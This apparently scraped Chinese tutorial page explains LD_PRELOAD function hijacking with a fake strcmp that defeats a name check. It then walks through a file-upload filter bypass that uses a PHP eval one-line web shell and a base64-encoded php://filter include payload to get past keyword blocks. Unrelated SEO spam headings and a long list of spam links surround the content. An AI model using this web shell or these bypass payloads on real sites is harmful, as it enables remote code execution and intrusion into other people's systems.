当前位置: 首页 > news >正文

网络科技有限公司官网长春百度搜索优化

网络科技有限公司官网,长春百度搜索优化,百度推广查询,东莞网站制作功能LD_PRELOAD LD_PRELOAD是Linux/Unix系统的一个环境变量,它可以影响程序的运行时的链接,它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖系统的函数…

LD_PRELOAD

LD_PRELOAD是Linux/Unix系统的一个环境变量,它可以影响程序的运行时的链接,它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖系统的函数库。

LD_PRELOAD 超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库。

具体的操作步骤如下:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
  2. 将所写的 c 文件编译为动态链接库。
  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

whoami.c

#include <stdio.h>
#include <string.h>int main(int argc, char **argv) {char name[] = "mon";if (argc < 2) {printf("usage: %s <given-name>\n", argv[0]);return 0;}if (!strcmp(name, argv[1])) {printf("\033[0;32;32mYour name Correct!\n\033[m");return 1;} else {printf("\033[0;32;31mYour name Wrong!\n\033[m");return 0;}
}

接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数

hook_strcmp.c

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

 

然后进行编译,并且通过hook_strcmp.c 生成一个动态链接文件如下代码:

root@kunkun-virtual-machine:~# gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
gcc -o whoami whoami.c

测试

root@kunkun-virtual-machine:~# ./whoami  aaa

You Name Wrong!

我们再加载一下环境变量,加载了环境变量后就意味着我们劫持成功了,
export LD_PRELOAD=$PWD/hook_strcmp.so

root@kunkun-virtual-machine:~# ./whoami  aaa

You Name Correct

绕过过滤
直接写一句话后门

<?php eval($_POST[1]); ?>

然后上传成功,拿到文件名

但是想要执行,反引号被ban了

那就用到php://filter解码一句话后门,然后再结合include:

php://filter/read=convert.base64-decode/resource=可以让后面的内容以php文件执行

include可以让php文件自动执行

那么就可以写成

<?php Includ("php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php"); ?>

思路就是利用伪协议让后门可执行,然后利用include自动执行

问题1.include被过滤了

        php函数不区分大小写,所以改成Include即可

问题2.伪协议被过滤了

        将php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php

整个进行base64编码即可

最后payload为:

<?php Include(base64_decode("cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPTUwMzIyNDJhYzNmMmM0NTUyZjcwMjZkZDk1NmY0MTEzLnBocA==")); ?>

 

http://www.yayakq.cn/news/251377/

相关文章:

  • 株洲市哪里有做公司官方网站wordpress标题关键词描述
  • html 网站源码 卖手机深圳均安网站制作
  • 做网站那种语言好电脑版传奇
  • 万户网络做网站怎么样销售怎么做
  • 网站关键词密度是怎么计算的外包网站
  • 河南制作网站电话建设工程检测网
  • 上海网站设计与开发公司攸县网站建设
  • 服务器做网站流程如何做网站二维码
  • 注册网站费用明细网站建设多少钱裤
  • 芮城做网站的机构乐陵市住房和城乡建设局网站
  • 网站图片移动怎么做的北京房山网站建设产品更新培训
  • 公司网站有收录没排名北京seo诊断
  • 湖北省建设厅官方网站证书查询手机网页链接制作
  • 网站建设没业务黑帽seo技巧
  • 网站设计模板源码百度推广账户登陆
  • 旅游开发公司网站建设方案书长沙 微信群
  • 做企业网站市场分析赤壁市建设局网站
  • 比翼网站建设公司seo是什么级别
  • 凡科自助建站自己做网站wordpress 插件 页面
  • 网站架构设计师就业指导全球外贸网站制作教程
  • 国家高新技术企业查询网站中文域名做的网站有哪些
  • 分类网站 php个人简历模板免费网站
  • 网站底部特效有什么网站可以做免费推广
  • 长沙微交易网站建设大连网建科技
  • wordpress固定链接+404温州seo网站推广
  • 做专业的热转印材料门户网站没有备案的网站怎么访问不了
  • 建筑设计案例网站wordpress 工业主题
  • 东莞做网站的公司网页制作与网站建设题
  • 深圳html5网站开发多少钱网站页面
  • 营销型网站定制wordpress重置秘密